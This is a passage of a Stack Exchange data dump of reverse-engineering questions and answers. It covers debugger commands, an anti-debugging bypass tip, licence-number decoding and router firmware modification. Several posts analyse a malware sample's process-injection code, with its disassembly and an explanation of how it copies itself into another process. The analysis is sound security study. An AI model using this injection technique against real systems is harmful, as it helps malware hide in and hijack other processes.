threats and overreaching penalties that are used to make examples out of as they stoke the fire and declare a witch hunt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should Apple be able to prosicute a security research whom respectfully, and sincerely trying to help and support Apple make better products, be prosicuted by the technology giant?  Hell no, but you better believe that they tried - that happened.  The employees of Target or Home Depot that warned of potential dangers; where are they now?  They were fired, run-off, considered a nuisance to the company, shunned, and labeled as &quot;not a team player&quot;.  In the wake of the data breaches that Target, Home Depot, and countless others (certainly at least one of these events has impacted your life) it is more apparent now than ever that reverse engineering is not only a right, but an aspect of our emerging social structure that is going to be needed more than ever to 1) protect the innocent consumers and digital citizens of the world like yourself and 2) hold accountable those whom are responsible to take reasonable measure to protect the community that entrusted them with their well being (granted in exchange for a service).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The NSAs, the CIAs, the DeutcheBanks, the HealthCare.govs, and the hospitals that we all wanted and empowered to do what they have done.  It is the reverse engineer who will become the modern freedom fighter, tomorrows activist, that is going to be on your side, the little guy, when power corrupts and greed lets way to disregard for the responsibilities that were implicit in the power granted to those organizations.  To be just a bit more dramatic about it; reverse engineers are the priests of a new religion.  We should honor them, applaud their bravery standing up to those drunk on power, and protect them when they risk the privacy of their family to step into the line of fire, on our behalf, because it is &quot;the right thing to do&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know one of these individuals- buy them a beer tonight and say thank you.  As much as any soldier, they are going to be the ones that protect us when the next digital tragedy is impending.&lt;/p&gt;&#xA;" OwnerUserId="9804" LastActivityDate="2014-10-16T21:15:27.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6487" PostTypeId="2" ParentId="6483" CreationDate="2014-10-17T10:28:14.907" Score="1" Body="&lt;p&gt;&lt;code&gt;nt!KdDebuggerDatablock&lt;/code&gt; used to be a public global symbol in NT&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lkd&amp;gt; x/v nt!KdDebuggerDataBlock&#xA;pub global 80545b60             0 nt!KdDebuggerDataBlock = &amp;lt;no type information&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;dpS  nt!KdDebuggerDataBlock lxxxx&lt;/code&gt; should fetch the &lt;code&gt;NonPagedPoolStart&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lkd&amp;gt; !grep -i -c &quot;dpS nt!KdDebuggerDataBlock la5&quot; -e &quot;pool&quot;&#xA; 8055b5a0 nt!ExpPagedPoolDescriptor&#xA; 8054ab2c nt!ExpNumberOfPagedPools&#xA; nt!MmMaximumNonPagedPoolInBytes&#xA; 80553cb8 nt!MmNonPagedPoolStart&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should get the complete structure&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lkd&amp;gt; .printf &quot;%ma\t%08x\n&quot; , nt!KdDebuggerDataBlock+10,poi(nt!KdDebuggerDataBlock+14)&#xA;KDBG    00000290&#xA;lkd&amp;gt; .for (r $t0=0 ; @$t0 &amp;lt;poi(nt!KdDebuggerDataBlock + 14) ; r $t0 = @$t0+4) { .printf &quot;%08x\t%08x\t%y\n&quot;, (nt!KdDebuggerDataBlock + @$t0) ,poi(nt!KdDebuggerDataBlock + @$t0) ,poi(nt!KdDebuggerDataBlock + @$t0) }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="53" LastEditDate="2015-03-06T09:35:37.207" LastActivityDate="2015-03-06T09:35:37.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6488" PostTypeId="2" ParentId="6473" CreationDate="2014-10-17T11:30:29.607" Score="3" Body="&lt;p&gt;&lt;strong&gt;Ollydbg&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;O&lt;/kbd&gt; -&gt; events -&gt; check mark break on debug string on break &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hit &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;K&lt;/kbd&gt; to view call stack&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;WinDbg&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sx- -c &quot;kc&quot; out&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will print the call stack automatically on each and every DebugString.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; g&#xA;&#xA;This is from Win32Api&#xA;Going deeper now&#xA;&#xA;kernel32!RaiseException&#xA;kernel32!OutputDebugStringA&#xA;dbgprints!wmain&#xA;dbgprints!__tmainCRTStartup&#xA;kernel32!BaseProcessStart&#xA;hello from ntdll!DbgPrint &#xA;&#xA;&#xA;ntdll!vDbgPrintExWithPrefix&#xA;ntdll!DbgPrint&#xA;dbgprints!wmain&#xA;dbgprints!__tmainCRTStartup&#xA;kernel32!BaseProcessStart&#xA;(5d8.950): Unknown exception - code eaceba5e (first chance)&#xA;This String is from RaiseException argument 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3355" LastEditDate="2014-11-14T01:50:37.793" LastActivityDate="2014-11-14T01:50:37.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6493" PostTypeId="1" CreationDate="2014-10-18T13:26:29.817" Score="1" ViewCount="345" Body="&lt;p&gt;During an analysis, I found the following piece of malware:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   ...&#xA;   lea eax, [ebp+ThreadId]&#xA;   push eax                   ;lpThreadId&#xA;   push ebx                   ;dwCreationFlags&#xA;   push [ebp+lpParameter]     ;lpParameter&#xA;   push [ebp+lpStartAddress]  ;lpStartAddress&#xA;   push ebx                   ;dwStackSize&#xA;   push ebx                   ;lpThreadAttributes&#xA;   push [ebp+hProcess]        ;hProcess&#xA;   call CreateRemoteThread&#xA;   ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;What I definitely know&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;From some previous parts, I know that &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xor ebx, ebx -&amp;gt; ebx = NULL or zero&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the address pointed to by &lt;code&gt;lpParameter&lt;/code&gt;, the malware stores the address of &lt;code&gt;LoadLibrary&lt;/code&gt;. And &lt;code&gt;hProcess&lt;/code&gt; is a handle to &lt;code&gt;explorer.exe&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;What I want to know&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Related to &lt;code&gt;lpStartAddress&lt;/code&gt;, I have found the following lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  ...&#xA;  push ebx&#xA;  push [ebp+nSize]&#xA;  push offset loc_402B58&#xA;  push [ebp+lpStartAddress]&#xA;  push [ebp+hProcess] &#xA;  call WriteProcessMemory&#xA;  ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, this function writes the content of &lt;code&gt;offset loc_402B58&lt;/code&gt; into the region of pages started at &lt;code&gt;lpStartAddress&lt;/code&gt; (which was allocated some lines before).&#xA;Now, when I go to &lt;code&gt;offset loc_402B58&lt;/code&gt;, I see the following (note: I use IDA PRO):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;loc_402B58:&#xA; push esi&#xA; mov esi, [esp+8]&#xA; lea eax, [esi+14h]&#xA; push eax&#xA; call dword ptr[esi]&#xA; test eax, eax&#xA; mov [esi+10h], eax&#xA; jz short loc_402B80&#xA; lea ecx, [esi+46h]&#xA; push ecx&#xA; push eax&#xA; call dword ptr [esi+4]&#xA; test eax, eax&#xA; jz short_loc402B80&#xA; call eax&#xA; push 0&#xA; call eax                  &amp;lt;----- edited because i have forgotten it&#xA; push 0                    &amp;lt;-----                    ''&#xA; call dword ptr [esi+8]    &amp;lt;-----                    ''&#xA;&#xA;loc_402B80:     &#xA; xor eax, eax&#xA; pop esi&#xA; retn 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So my question would be: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What does the assembly at &lt;code&gt;loc_402B58&lt;/code&gt; and &lt;code&gt;loc_402B80&lt;/code&gt; ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="4645" LastEditDate="2014-10-19T13:34:01.913" LastActivityDate="2014-10-19T13:34:01.913" Title="Question about process injection" Tags="|assembly|malware|injection|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6494" PostTypeId="2" ParentId="6467" CreationDate="2014-10-18T15:10:01.610" Score="3" Body="&lt;p&gt;You can break on the ptrace, bypass it, set it return value as if it was succesfuly called, use two instances of GDB: one for the child, and one for the father.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2014-10-18T15:10:01.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6495" PostTypeId="2" ParentId="2916" CreationDate="2014-10-18T18:25:23.023" Score="1" Body="&lt;p&gt;(After &lt;em&gt;finally&lt;/em&gt; being able to examine 2 examples)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are regular files, obfuscated with a simple XOR encoding. See &lt;a href=&quot;https://stackoverflow.com/questions/26442162/decryption-of-png-and-jpg-files&quot;&gt;https://stackoverflow.com/questions/26442162/decryption-of-png-and-jpg-files&lt;/a&gt; for a longer description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file extension may or may not be the original one.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-10-18T18:25:23.023" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6496" PostTypeId="2" ParentId="6493" CreationDate="2014-10-18T19:11:56.577" Score="1" Body="&lt;p&gt;It should also be storing address of &lt;code&gt;GetProcAddress() at &amp;lt;lpparm+4&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it should store a string the &lt;code&gt;name of module at &amp;lt;lpparam+14&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it should store a string the &lt;code&gt;name of proc for getProcAddress at &amp;lt;lpparm+46&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;at &lt;code&gt;[esp+8]&lt;/code&gt; it accesses the lpparam which was written to the remote process so you may need to find this &lt;code&gt;WriteProcessMemory Also&lt;/code&gt; and look at the &lt;code&gt;local Buffer to Know the data&lt;/code&gt; ie name of dll and name of Proc &lt;/p&gt;&#xA;&#xA;&lt;p&gt;or you may need to attach to the Remote process and &lt;code&gt;Break on Thread CreateEvent&lt;/code&gt; and single Step through the &lt;code&gt;BaseThreadStartThunk()&lt;/code&gt;  Routine  in this routine you will notice ebp is Zeored in there and Eax and Ebx holds LpStart and lpParam and that is how lpStart gets Executed &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push [ebp+c] lpparam&#xA;call [enp+8] lpStart&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;esi gets the lpparm via mov esi [esp+8] which in your case holds the Address of LoadLibrary as you correctly observed but you have not observed what is at &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;assuming [esp+8 ] holds 403000 &amp;lt;lpparam&amp;gt;&#xA;[[esp+8] + 0 ] [403000] holds Address of LoadLibrary as you observed&#xA;[[esp+8] + 4]  [403004] will hold Address of GetProcAddress&#xA;[[esp+8] + 14] [403014] will hold a string the dll name&#xA;[[esp+8] + 46] [403046] will hold the name of  Proc in the Loaded Dll&#xA;[[esp+8] + 10] [403010] gets the Result of LoadLibrary Return in your above snippet&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;added the annotated snippet for referance&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push esi&#xA; mov esi, [esp+8]    &amp;lt;lpparameter&amp;gt; assuming 403000&#xA; lea eax, [esi+14h]  lpparameter+14&amp;gt; should be a string the name of dll 403014&#xA; push eax            push 403014    &#xA; call dword ptr[esi] DWORD [ lpparmeter+0 ] = [403000] = Address Of LoadLib so calling loadlib&#xA; test eax, eax&#xA; mov [esi+10h], eax  [lpparam+10] [403010] store LoadLibResult here&#xA; jz short loc_402B80  failure&#xA; lea ecx, [esi+46h] [403046] = &amp;lt;lpparm+46&amp;gt; again a string name of Proc for GetProcAddress()&#xA; push ecx           processname     &#xA; push eax           HandletoLoadedmod  &#xA; call dword ptr [esi+4]  Must be Address of GetProcAddress from the looks check your code &#xA;capture local buffer when Writing to ProcessMemory or Break on Create new Thread in the RemoteProcess&#xA;by attaching a debugger Executing the RemoteDebugge and when a new Thread Create Event is triggered &#xA;single step to find the contents of lpparam&#xA; test eax, eax    &#xA; jz short_loc402B80&#xA; call eax  &amp;lt;calls the  functions that was just getproc'ed&amp;gt;&#xA; push 0&#xA; call &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2014-10-18T19:22:38.700" LastActivityDate="2014-10-18T19:22:38.700" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6497" PostTypeId="2" ParentId="6452" CreationDate="2014-10-19T02:35:47.050" Score="0" Body="&lt;p&gt;Normally if you have HopperGDBServer running you should it in the Show debugger screen. If you can't get it to work I suggest you contact the developper, he's usually quite responsive. Also I don't think it's currently possible to attach to a running program.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-10-19T02:35:47.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6498" PostTypeId="2" ParentId="4738" CreationDate="2014-10-19T03:50:19.113" Score="2" Body="&lt;p&gt;Past TEMU user here.   Perhaps you should attempt to understand TEMU more (which I don't), to prevent duplicating the work already done.   PTRACE only records syscall transitions, but if you go under QEMU, a better granularity is basic blocks.   Not sure if TEMU has the capacity to do that, the idea is the each basic block can uniquely identify part of the path taken, without going into lower level of details at the registers/values level.   ie, less noise, but more refined than syscall.   Knowing the the full state of the registers at each entry and exit point of the basic block, can almost deterministically decide what is the path the entire execution trace will look like, minus all the intermediate registers values, which can be derived if need to.   (&quot;almost&quot;, because asynchronous event like interrupt can happened).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is another option:   &lt;a href=&quot;http://wiki.qemu.org/&quot; rel=&quot;nofollow&quot;&gt;QEmu&lt;/a&gt; + &lt;a href=&quot;http://www.lttng.org/&quot; rel=&quot;nofollow&quot;&gt;Lttng&lt;/a&gt;, but since default Qemu does not provide that feature, you have to download the QEMU source code, and compile it to enable lttn-ust tracing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://linuxmogeb.blogspot.sg/2014/08/how-to-trace-qemu-using-lttng-ust.html&quot; rel=&quot;nofollow&quot;&gt;http://linuxmogeb.blogspot.sg/2014/08/how-to-trace-qemu-using-lttng-ust.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2395" LastEditorUserId="53" LastEditDate="2015-06-22T17:40:04.527" LastActivityDate="2015-06-22T17:40:04.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6499" PostTypeId="1" CreationDate="2014-10-19T13:17:46.843" Score="2" ViewCount="328" Body="&lt;p&gt;I have the following lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ... &#xA; mov [ebp+nSize], offset nullsub_1&#xA; ...&#xA; sub [ebp+nSize], offset loc_402B58&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, nSize is then used for the call of VirtualAllocEx.&#xA;At nullsub_1, I have the follwoing(notice I use IDA PRO):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nulsub_1 proc near&#xA;retn&#xA;nullsub_1 endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Question 1 : What is that ? Has somebody an idea what this can be ? I would say, it is a pointer to NULL but I am not sure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At loc_402B58 I have the following(It is the same what I posted in another topic, I thought it would be helpful when I also post this &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/6493/question-about-process-injection&quot;&gt;Question about process injection&lt;/a&gt;): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;loc_402B58:&#xA;  push esi&#xA;  mov esi, [esp+8]&#xA;  lea eax, [esi+14h]&#xA;  push eax&#xA;  call dword ptr[esi]&#xA;  test eax, eax&#xA;  mov [esi+10h], eax&#xA;  jz short loc_402B80&#xA;  lea ecx, [esi+46h]&#xA;  push ecx&#xA;  push eax&#xA;  call dword ptr [esi+4]&#xA;  test eax, eax&#xA;  jz short_loc402B80&#xA;  call eax&#xA;  push 0&#xA;  call eax&#xA;  push 0&#xA;  call dword ptr [esi+8]&#xA;&#xA;  loc_402B80:     &#xA;   xor eax, eax&#xA;   pop esi&#xA;   retn 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can we subtract pieces of codes which is done at &lt;strong&gt;sub [ebp+nSize], offset loc_402B58&lt;/strong&gt; ?&#xA;I have never seen a piece of code like &lt;strong&gt;nullsub_1&lt;/strong&gt; . So I hope somebody can tell me what is it but i understand what the code at loc_402B58 does.&lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="2147" LastEditDate="2018-10-04T04:39:47.217" LastActivityDate="2018-10-04T04:39:47.217" Title="Problem: Identifying the size of VirtualAllocEx" Tags="|assembly|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6501" PostTypeId="2" ParentId="6499" CreationDate="2014-10-19T14:40:46.733" Score="0" Body="&lt;pre&gt;&lt;code&gt; ... &#xA; mov [ebp+nSize], offset nullsub_1&#xA; ...&#xA; sub [ebp+nSize], offset loc_402B58&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code above is effectively: &lt;code&gt;nSize = address_of(nullsub_1) - address_of(loc_402B58)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming the function &lt;code&gt;nullsub_1&lt;/code&gt; is immediately after &lt;code&gt;loc_402B58&lt;/code&gt;, &lt;code&gt;nSize&lt;/code&gt; is getting set to the length of the code at &lt;code&gt;loc_402B58&lt;/code&gt;. This dynamic code length calculation is often used with &lt;code&gt;VirtualAllocEx()&lt;/code&gt; so that the right amount of memory can be allocated in a remote process before the code is copied into that process.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-10-19T14:40:46.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6502" PostTypeId="2" ParentId="6440" CreationDate="2014-10-19T15:33:15.403" Score="7" Body="&lt;p&gt;This is not yet a complete answer, but perhaps what I've found can be combined with other information to come up with the complete solution.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;First name encoding&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If we assume a linear encoding, then we have everything needed to figure this out based on your four samples.  If we consider letter values as &lt;code&gt;a=0, b=1, ...&lt;/code&gt; regardless of whether they're uppercase or lowercase, your four samples can be turned into four linear equations:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a*0 +b*11+c*4 +d*23 =  19  (Alex)&#xA;a*12+b*0 +c*19+d*19 = 529  (Matt)&#xA;a*9 +b*14+c*7 +d*13 = 407  (John)&#xA;a*17+b*8 +c*2 +d*7  = 655  (Rich)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since we have four equations and four unknowns, it's easily solved using simple but tedious algebra or in matrix form using Gaussian elimination.  (Sorry for the ugly looking math, but unlike other StackExchange sites apparently ReverseEngineering doesn't support MathML, which is unfortunate.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do so, you get the following values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a = 83700 / 2279&#xA;b = 9484  / 2279&#xA;c = 16030 / 2279&#xA;d = −5441 / 2279&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All very neat and accurate, but there's a problem, which is that &lt;em&gt;any&lt;/em&gt; four samples would result in some answer.  The question is whether it works for all possible names, and unfortunately, the answer is &lt;strong&gt;no&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Further samples&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I did some searching on the internet and found a few more samples.  Here's an image of &lt;a href=&quot;http://vault.fbi.gov/ghost-stories-russian-foreign-intelligence-service-illegals/images/mikhail-semenkos-new-jersey-drivers-license-and-seton-hall-id-card/view&quot; rel=&quot;noreferrer&quot;&gt;a Russian spy's New Jersey license&lt;/a&gt; and here is a &lt;a href=&quot;http://www.state.nj.us/transportation/refdata/accident/pdf/NJTR1-Police_Guide.pdf&quot; rel=&quot;noreferrer&quot;&gt;Police guide&lt;/a&gt; (see page 60).  This &lt;a href=&quot;http://www.state.nj.us/mvc/pdf/Licenses/understanding-abstract.pdf&quot; rel=&quot;noreferrer&quot;&gt;pamphlet from the NJ MVC&lt;/a&gt; encodes &quot;Dennis J. Driver&quot; as  D4047-16371&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we try the first name equation above on these new samples, they fail, so it's not quite right.  The result suggests that the weighting is not quite so simple.  When searching, I also found that both Ontario and Québec licenses appear to use the same first and last name encodings.  So for example, this &lt;a href=&quot;http://arleneanddennis.files.wordpress.com/2012/04/ontario-temperary-driver176.jpg&quot; rel=&quot;noreferrer&quot;&gt;temporary Ontario permit&lt;/a&gt; verifies that &quot;Dennis&quot; is encoded as 163 in Ontario as well as in New Jersey.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run a linear regression on all of the first name values vs. the first letter &lt;code&gt;l&lt;/code&gt; (encoded as &lt;code&gt;a=0, b=1, ...&lt;/code&gt;) I get the equation &lt;code&gt;32.42*l+52.55&lt;/code&gt; with an &lt;a href=&quot;http://www.graphpad.com/guides/prism/6/curve-fitting/index.htm?r2_ameasureofgoodness_of_fitoflinearregression.htm&quot; rel=&quot;noreferrer&quot;&gt;R^2 value&lt;/a&gt; of 0.986 which shows this to be highly linear.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Last name experiment&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I tried a very simple experiment with the last name encoding which was a very simplistic method not mentioned in your list of things you have tried.  That was to simply consider each character as a base-26 digit.  Using the 4 characters following the first, the encodings for &quot;Baab&quot; and &quot;Jackson&quot; are correctly obtained, but no others matched.  &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Other encoding schemes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I did some searching for existing encoding schemes.  Soundex was both easily found and easily discounted, but there are many variations to it and it's possible that some expanded variation was used. I was not able to locate a Soundex variant that produced these particular values, but I learned some interesting things along the way.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, perhaps not surprisingly, there has long been a need to try to match up names in a database using some kind of encoding.  Generically, the problem is called &lt;em&gt;record-linking&lt;/em&gt; and is typically thought of as mathing a possibly misspelled name to a subset of possible matches in a database.  Soundex has been used for this purpose, but found to be &lt;a href=&quot;http://arizona.openrepository.com/arizona/bitstream/10150/106000/1/wang.pdf?origin=publication_detail&quot; rel=&quot;noreferrer&quot;&gt;somewhat lacking&lt;/a&gt; in effectiveness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other schemes I have located, or at least located references to include:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://adsabs.harvard.edu/abs/1966SPhD...10..707L-title=The&quot; rel=&quot;noreferrer&quot;&gt;Levenshtein edit distance&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.vigliensoni.com/McGill/CURSOS/2012_01/MUMT609/9_REFERENCES/jaro89advances.pdf&quot; rel=&quot;noreferrer&quot;&gt;Jaro record-linkage methodology&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Phonetic_algorithm&quot; rel=&quot;noreferrer&quot;&gt;various phonetic algorithms&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.oclc.org/support/services/dewey/program/instructions.en.html&quot; rel=&quot;noreferrer&quot;&gt;Cutter-Sanborn Four-Figure&lt;/a&gt; used to encode author names for libraries&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This &lt;a href=&quot;https://rockymadden.com/stringmetric/&quot; rel=&quot;noreferrer&quot;&gt;stringmetric project&lt;/a&gt; has what appears to be a nice collection of algorithm implementations with links to the original describing papers, but I haven't tried all of these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps if someone does, they can report back here.&lt;/p&gt;&#xA;" OwnerUserId="3557" LastActivityDate="2014-10-19T15:33:15.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6503" PostTypeId="1" AcceptedAnswerId="6505" CreationDate="2014-10-19T15:58:16.097" Score="1" ViewCount="363" Body="&lt;p&gt;I have managed to get a root shell on my web filtering router by plugging into a UART on the PCB which allowed me to see a process (lockbox.bin - ELF executable) running which handles most of the filtering functions. After extracting the lockbox.bin file and analyzing it with IDA pro, I've made some modifications to the file. I now need to get it back on the device to see if the changes worked, but when I try to make changes to the filesystem I get a message saying that the file system is read only. I suppose it's only a matter of mounting the filesystem as read/write, but I'm not sure how to do that (Access the boot loader?). The Busybox instance on the device is missing the mount command. The router in question is a re-branded realtek rtl8196b. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: This is the first time that I've have done something like this so I may be missing a very basic step. Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="8511" LastActivityDate="2014-10-19T20:30:29.920" Title="How do I restore modified firmware to a read only mount" Tags="|disassembly|linux|embedded|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6504" PostTypeId="2" ParentId="6499" CreationDate="2014-10-19T20:18:07.463" Score="3" Body="&lt;p&gt;Assume you're a C programmer who has written a malware subroutine, and you want to copy your subroutine to somewhere &quot;safe&quot; where it remains after your starter process terminates. Then you'd probably start with something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void malware(void) {&#xA;    ......&#xA;    helper1(...);&#xA;    ......&#xA;    helper2(...);&#xA;    ......&#xA;}&#xA;&#xA;void helper1(...) {&#xA;    .....&#xA;}&#xA;&#xA;void helper2(...) {&#xA;    .....&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, how can you copy the compiled code of these functions somewhere, especially to some memory block you got using VirtualAlloc(), and how do you know how much memory you need? That's exactly what your code does. At the end of the (one or more) functions that need to stay &quot;resident&quot; in memory, you place a function that does nothing, just to have a memory address.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void end_of_malware(void) { /* do nothing, just return */ }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, you know that the memory block from &lt;code&gt;malware()&lt;/code&gt; to &lt;code&gt;end_of_malware()&lt;/code&gt; contains the code you want to &quot;save&quot;. The expression&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;size_t size=((char *) end_of_malware - (char *)malware)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is the number of bytes you need, and which you pass to &lt;code&gt;VirtualAlloc&lt;/code&gt; and &lt;code&gt;memcpy()&lt;/code&gt; (or whichever function you use to copy the memory). This is just what the &lt;code&gt;mov [somewhere], offset end_of_malware&lt;/code&gt; and &lt;code&gt;sub [somewhere], malware&lt;/code&gt; does. Except that IDA can't know the original names of the functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA detects, however, that the &lt;code&gt;end_of_malware&lt;/code&gt; function does nothing, so it names it &lt;code&gt;nullsub&lt;/code&gt; - a &quot;null subroutine&quot;. This helps a bit since, whenever you see a &lt;code&gt;call nullsub_*&lt;/code&gt; in your disassembly. you know there's no reason to check what that function does. &lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-10-19T20:18:07.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
